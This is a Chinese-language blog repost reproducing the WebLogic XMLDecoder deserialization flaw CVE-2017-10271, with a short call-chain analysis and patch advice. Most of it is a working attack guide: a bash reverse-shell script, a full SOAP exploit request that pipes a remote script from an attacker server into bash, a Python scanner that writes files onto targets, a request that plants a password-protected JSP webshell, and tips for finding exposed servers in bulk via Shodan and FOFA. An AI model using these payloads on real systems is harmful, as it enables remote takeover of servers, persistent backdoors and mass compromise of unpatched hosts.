WebLogic XMLDecoder反序列化漏洞(CVE-2017-10271)復現


WebLogic XMLDecoder反序列化漏洞(CVE-2017-10271)

                                               -----by  backlion

0x01漏洞說明

   近日,黑客利用WebLogic 反序列化漏洞CVE-2017-3248WebLogic WLS LS組件的遠程代碼執行漏洞CVE-2017-10271Oracle官方在201710月份發布了該漏洞的補丁,但沒有公開漏洞細節,如果企業未及時安裝補丁,存在被攻擊的風險。對企業服務器發起了大范圍遠程攻擊,對大量企業的服務器造成了嚴重威脅,影響版本:10.3.6.0.0, 12.1.3.0.0, 12.2.1.1.0, 12.2.1.2.0

0x02 攻擊說明

  攻擊者選定要攻擊的目標主機后,將首先利用漏洞CVE-2017-3248進行攻擊,無論是否成功,都將再利用CVE-2017-10271進行攻擊。在每一次的攻擊過程中,都是先針對Windows系統,再針對Linux系統。具體攻擊流程如下:

1、利用 WebLogic 反序列化漏洞(CVE-2017-3248)調用 Linux 中的wget 下載shell腳本並調用Linux本地“/bin/bash”執行shell腳本。(shell腳本內容內定義了從遠端下載執行watch-smartd挖礦程序控制細節)

2  利用 WebLogic 反序列化漏洞(CVE-2017-3248)調用 Windows 中的PowerShell進行樣本下載和運行。

3  利用 WebLogic WLS 組件漏洞(CVE-2017-10271)調用 Linux 中的wget 下載shell腳本並調用Linux本地“/bin/bash”執行shell腳本。

4  利用 WebLogic WLS 組件漏洞(CVE-2017-10271)調用 Windows 中的 powershell 進行樣本下載和惡意代碼執行。

5、在此次的攻擊事件中,CVE-2017-3248利用不成功,CVE-2017-10271則利用成功,從而導致了服務器被攻擊者攻陷,進而在系統日志中留下了痕跡。

0x03分析利用

此次漏洞出現在wls-wsat.war中,此組件使用了weblogic自帶的webservices處理程序來處理SOAP請求首先在weblogic.wsee.jaxws.workcontext.WorkContextServerTube類中獲取XML數據最終傳遞給XMLDecoder來解析,其解析XML的調用鏈為

weblogic.wsee.jaxws.workcontext.WorkContextServerTube.processRequest

weblogic.wsee.jaxws.workcontext.WorkContextTube.readHeaderOld

weblogic.wsee.workarea.WorkContextXmlInputAdapter

首先看到

weblogic.wsee.jaxws.workcontext.WorkContextServerTube.processRequest方法

獲取到localHeader1后傳遞給readHeaderOld方法,其內容為<work:WorkContext>所包裹的數據,然后繼續跟進

weblogic.wsee.jaxws.workcontext.WorkContextTube.readHeaderOld方法

在此方法中實例化了WorkContextXmlInputAdapter類,並且將獲取到的XML格式的序列化數據傳遞到此類的構造方法中,最后通過XMLDecoder來進行反序列化操作。

關於XMLDecoder的反序化問題13年就已經被人發現,近期再次被利用到Weblogic中由此可見JAVA生態圈中的安全問題是多么糟糕。值得一提的是此次漏洞出現了兩處CVE編號,因為在Oracle官方在修復CVE-2017-3506所提供的patch只是簡單的檢查了XML中是否包含了<object>節點,然后將<object>換為<void>即可繞過此補丁。因此在修復過程中用戶一定要使用Oracle官方十月份所提供的patch

0x04 漏洞復現

所需環境

vps服務器:ubuntu16.4 ip:x.x.x.x

所需軟件:burpusit

一般情況下weblogic會開放7001以及7002端口

如果訪問/wls-wsat/CoordinatorPortType11目錄,存在下圖則說明或許存在漏洞

http://11.203.x.x/wls-wsat/CoordinatorPortType

首先在你的外網服務器上安裝python2.7

sudo apt-get install python2.7

然后在你的外網vps服務器上,利用vim編寫一個反彈腳本如a.sh(填寫自己的服務器ip和將要用nc監聽的端口)

bash -i >& /dev/tcp/vpsip/ncport 0>&1

或者

/bin/bash -i >& /dev/vpsip/ncport   0>&1

xshell連接服務器,執行(python服務器端口和nc的端口可以自己隨便來設置)

python -m SimpleHTTPServer pythonport nc -lvp ncport

執行后就可以 poc進行測試

POST /wls-wsat/CoordinatorPortType HTTP/1.1

Host: 11.203.x.x

Accept-Encoding: identity

Content-Length: 695

Accept-Language: zh-CN,zh;q=0.8

Accept: */*

User-Agent: Mozilla/5.0 (Windows NT 5.1; rv:5.0) Gecko/20100101 Firefox/5.0

Accept-Charset: GBK,utf-8;q=0.7,*;q=0.3

Connection: keep-alive

Cache-Control: max-age=0

Content-Type: text/xml

 

<soapenv:Envelope xmlns:soapenv="http://schemas.xmlsoap.org/soap/envelope/">

  <soapenv:Header>

    <work:WorkContext xmlns:work="http://bea.com/2004/06/soap/workarea/">

        <java version="1.8.0_131" class="java.beans.XMLDecoder">

          <void class="java.lang.ProcessBuilder">

            <array class="java.lang.String" length="3">

              <void index="0">

<string>/bin/bash</string>

              </void>

              <void index="1">

                <string>-c</string>

              </void>

              <void index="2">

                <string>curl http://x.x.x.x:81/a.sh|bash</string>

              </void>

            </array>

          <void method="start"/></void>

        </java>

      </work:WorkContext>

    </soapenv:Header>

  <soapenv:Body/>

</soapenv:Envelope>

將以上代碼復制到burpsuit中的repeater中,注意代碼中的Host: 11.203.x.x需要改成你所要攻擊的目標對象,並且targethsotport也要根據目標地址和端口

其中的

<void index="2">

                <string>curl http://x.x.x.x:81/a.sh|bash</string>

              </void>

也需要實際改

然后進行執行repeatergo

服務器返回

HTTP/1.1 500 Internal Server Error

Connection: close

Date: Sat, 23 Dec 2017 05:16:01 GMT

Content-Type: text/xml; charset=utf-8

X-Powered-By: Servlet/2.5 JSP/2.1

Content-Length: 262



<?xml version='1.0' encoding='UTF-8'?><S:Envelope xmlns:S="http://schemas.xmlsoap.org/soap/envelope/"><S:Body><S:Fault xmlns:ns4="http://www.w3.org/2003/05/soap-envelope"><faultcode>S:Server</faultcode><faultstring>0</faultstring></S:Fault></S:Body></S:Envelope>

隨后你就會在自己的vps上得到一個反彈shell

這樣就OK了,如果你要拿到shell的話

直接cdservers/AdminServer/tmp/_WL_internal/bea_wls_internal/9j4dqk/war/目錄,此為系統默認目錄,然后可以在pocwget一個jsp腳本,然后使用mv命令進行移動到此目錄,最重要的你用菜刀連接的話,不是連接的此目錄,而是/bea_wls_internal/目錄下的腳本文件

附上poc檢查腳本:

# coding:utf-8

# !/bin/env python2

import requests

import re

import sys

 

from requests.packages.urllib3.exceptions import InsecureRequestWarning

 

# 禁用安全請求警告

requests.packages.urllib3.disable_warnings(InsecureRequestWarning)

 

# 判斷weblogic漏洞是否存在的地址,因沒有poc,暫時只能判斷這個地址

check_addr = '/wls-wsat/CoordinatorPortType11'

shell_addr = '/bea_wls_internal/connect.jsp'

 

heads = {'User-Agent': 'Mozilla/5.0 (Windows NT 6.1) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/56.0.2924.87 Safari/537.36',

        'Accept': 'text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,*/*;q=0.8',

        'Accept-Language': 'zh-CN,zh;q=0.8',

        'SOAPAction': "",

        'Content-Type': 'text/xml;charset=UTF-8'

        }

 

post_str = '''

<soapenv:Envelope xmlns:soapenv="http://schemas.xmlsoap.org/soap/envelope/">  

  <soapenv:Header>

    <work:WorkContext xmlns:work="http://bea.com/2004/06/soap/workarea/">  

      <java>

        <object class="java.lang.ProcessBuilder">

          <array class="java.lang.String" length="3">

            <void index="0">

              <string>/bin/sh</string>

            </void>  

            <void index="1">

              <string>-c</string>

            </void>  

            <void index="2">

              <string>find $DOMAIN_HOME -type d -name bea_wls_internal|while read f;do find $f -type f -name

              index.html;done|while read ff;do echo vulexist>$(dirname $ff)/connect.jsp;done</string>

            </void>

          </array>  

          <void method="start"/>

        </object>

      </java>

    </work:WorkContext>

  </soapenv:Header>  

  <soapenv:Body/>

</soapenv:Envelope>

'''

def check(url):

    #print("正在檢測第%d個url:%s" % (status_num,url))

    vuln_url = url + check_addr

 

    content = requests.get(vuln_url, verify=False, timeout=10)

    if content.status_code == 200:

        rsp = requests.post(vuln_url, headers=heads, data=post_str.encode(

            "utf-8"), verify=False, timeout=10)

        content = rsp.content

 

        if re.search(r"java\.lang\.ProcessBuilder", content, re.I):

            # print "getshell success,shell is:%s"%(url+shell_addr)

            string_to_write = "Congratulations! weblogic 遠程命令執行漏洞存在:\n" + url + shell_addr + "\n"

            print string_to_write

        else:

            print "失敗"

    else:

        print(content.status_code)

# 判斷漏洞是否存在

# target = sys.argv[1]

target = "https://x.x.x.com"

print("checking weblogic vul for "+target)

check(target)

# 傳入的target是http://www.baidu.com格式(不帶端口 )

0x04 漏洞修復建議

1.臨時解決方案

 根據攻擊者利用POC分析發現所利用的為wls-wsat組件的CoordinatorPortType接口,若Weblogic服務器集群中未應用此組件,建議臨時備份后將此組件刪除,當形成防護能力后,再進行恢復。

根據實際環境路徑,刪除WebLogic wls-wsat組件:

rm -f   /home/WebLogic/Oracle/Middleware/wlserver_10.3/server/lib/wls-wsat.war

rm -f   /home/WebLogic/Oracle/Middleware/user_projects/domains/base_domain/servers/AdminServer/tmp/.internal/wls-wsat.war

rm -rf /home/WebLogic/Oracle/Middleware/user_projects/domains/base_domain/servers/AdminServer/tmp/_WL_internal/wls-wsat

重啟Weblogic域控制器服務:

DOMAIN_NAME/bin/stopWeblogic.sh           #停止服務

DOMAIN_NAME/bin/startManagedWebLogic.sh    #啟動服務

刪除以上文件之后,需重啟WebLogic。確認http://weblogic_ip/wls-wsat/ 是否為404頁面。

2.官方補丁修復

前往Oracle官網下載10月份所提供的安全補丁

http://www.oracle.com/technetwork/security-advisory/cpuoct2017-3236626.html

升級過程可參考:

http://blog.csdn.net/qqlifu/article/details/49423839

3.在線檢查工具

http://adlab.venustech.com.cn/vulscan

https://cloud.nsfocus.com/#/krosa/views/initcdr/productandservice?page_id=12

 

---------------------------------------------------------------------------------------------

經驗總結:

linux下的監聽的端口可以供多個IP輪換連接,不用再更改監聽端口。

一般在當前域下的:

servers/AdminServer/tmp/_WL_internal/下:

該目錄下可以上傳war包,也可以進入到:

bea_wls9_async_response,bea_wls_internal 和uddiexplorer 等目錄下的war目錄中上傳腳本木馬

如:servers/AdminServer/tmp/_WL_internal/bea_wls_internal/9j4dqk/war/bk.jps

對應的訪問URL地址:

http://x.x.x.x:7001/bea_wls_internal/a.jsp

附上直接寫入jsp小馬:

POST http://163.177.*.*:7001/wls-wsat/CoordinatorPortType HTTP/1.1
Accept: */*
User-Agent: Mozilla/5.0
Referer: http://www.baidu.com/
Content-Type: text/xml
Host: 163.177.*.*:7001
Content-Length: 521
Expect: 100-continue
Connection: Keep-Alive

<soapenv:Envelope xmlns:soapenv="http://schemas.xmlsoap.org/soap/envelope/">
<soapenv:Header>
<work:WorkContext xmlns:work="http://bea.com/2004/06/soap/workarea/">
<java><java version="1.4.0" class="java.beans.XMLDecoder">
<object class="java.io.PrintWriter">
<string>servers/AdminServer/tmp/_WL_internal/bea_wls_internal/9j4dqk/war/a.jsp</string><void method="println">
<string><![CDATA[<%if("023".equals(request.getParameter("pwd"))){ 
java.io.InputStream in = Runtime.getRuntime().exec(request.getParameter("i")).getInputStream(); 
int a = -1; 
byte[] b = new byte[2048]; 
out.print("<pre>"); 
while((a=in.read(b))!=-1){ 
out.println(new String(b)); 
} 
out.print("</pre>");} %>]]></string></void><void method="close"/>
</object>
</java>
</java>
</work:WorkContext>
</soapenv:Header>
<soapenv:Body/>
或者測試上傳的poc:
POST http://163.177.*.*:7001/wls-wsat/CoordinatorPortType HTTP/1.1
Accept: */*
User-Agent: Mozilla/5.0
Referer: http://www.baidu.com/
Content-Type: text/xml
Host: 163.177.*.*:7001
Content-Length: 521
Expect: 100-continue
Connection: Keep-Alive

<soapenv:Envelope xmlns:soapenv="http://schemas.xmlsoap.org/soap/envelope/"><soapenv:Header><work:WorkContext xmlns:work="http://bea.com/2004/06/soap/workarea/"><java><java version="1.4.0" class="java.beans.XMLDecoder"><object class="java.io.PrintWriter"> <string>servers/AdminServer/tmp/_WL_internal/wls-wsat/54p17w/war/bk.txt</string><void method="println"><string>thisi is a xmldecoder_vul_test!</string></void><void method="close"/></object></java></java></work:WorkContext></soapenv:Header><soapenv:Body/></soapenv:Envelope>

批量掃描weblgic服務:

1.谷歌搜索關鍵字“weblogic server administration console inurl:console”

2.利用shodan搜索關鍵字:port:7001  port:7002

3.利用fofa搜索關鍵字:weblogic

4.IISPU批量掃描帶有標識為“WebLogic Server"

 

 

 


 


 

 

  

 

 


免責聲明!

本站轉載的文章為個人學習借鑒使用,本站對版權不負任何法律責任。如果侵犯了您的隱私權益,請聯系本站郵箱yoyou2525@163.com刪除。



 
粵ICP備18138465號   © 2018-2025 CODEPRJ.COM